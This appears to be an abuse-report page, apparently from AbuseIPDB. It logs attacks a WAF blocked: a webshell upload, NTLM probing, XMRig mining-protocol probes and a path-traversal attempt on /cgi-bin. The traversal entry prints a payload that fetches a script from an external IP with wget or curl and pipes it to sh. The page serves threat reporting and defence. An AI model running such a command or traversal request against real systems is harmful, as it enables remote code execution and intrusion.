Attempted Webshell upload to an exposed PHP endpoint.
Log:
2026-10-23 14:53:57 UTC
POST /index.ph ...
show moreAttempted Webshell upload to an exposed PHP endpoint.
Log:
2026-10-23 14:53:57 UTC
POST /index.php HTTP/1.1
Content-Type: multipart/form-data; boundary=WebKitFormBoundaryvabi0eb9
Content-Length: 19629
Cookie: PHPSESSID=rwRpZyoxunCWy9fmZbnoiF2qbFB4OSDz
Sent a large multipart payload attempting to write a PHP backdoor to the server. (Blocked by WAF - HTTP 403)
show less
NTLM protocol probing and binary payload scanning, likely preparing for credential theft or lateral ...
show moreNTLM protocol probing and binary payload scanning, likely preparing for credential theft or lateral movement. Part of a coordinated attack infrastructure.
Log:
2026-10-24 07:33:35 UTC
07 ĀĪ00.0, Ā* (NTLMSSP0: (aņ”2 cn=cjkpqtgpenaohabomgsy
PING
Acted in coordination with IPs 34.14.14.195 and 35.189.229.133 performing the exact same sequence simultaneously. (Blocked by WAF - HTTP 403)
show less
Cryptocurrency mining probe and multi-protocol scanning. Sent XMRig Stratum protocol payloads and sc ...
show moreCryptocurrency mining probe and multi-protocol scanning. Sent XMRig Stratum protocol payloads and scanned various ports.
Logs (2026-10-23):
{"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"YOUR_WALLET_ADDRESS","pass":"x","agent":"XMRig/6.20.0-C3Pool","algo":["cn/1"],...}}
{"id":1,"method":"mining.subscribe","params":[]}
Also probed protocols including RTSP (OPTIONS / RTSP/1.0), AMQP, SIP, and XMPP. Clear intent to exploit computing resources or find vulnerable IoT gateways. (Blocked by WAF - HTTP 403)
show less
Attempted Remote Code Execution via path traversal and shell script download.
Log:
2026-10-24 08:2 ...
show moreAttempted Remote Code Execution via path traversal and shell script download.
Log:
2026-10-24 08:26:47 UTC
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
User-Agent: libredtail-http
Content-Length: 109
Payload:
(wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk https://217.60.102.5/sh) | sh -s apache
Intent: Exploiting CVE/traversal to execute malicious payloads from an external C2 server (217.60.102.5). (Blocked by WAF - HTTP 403)
show less
Web App AttackHacking
By clicking “Accept all”, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.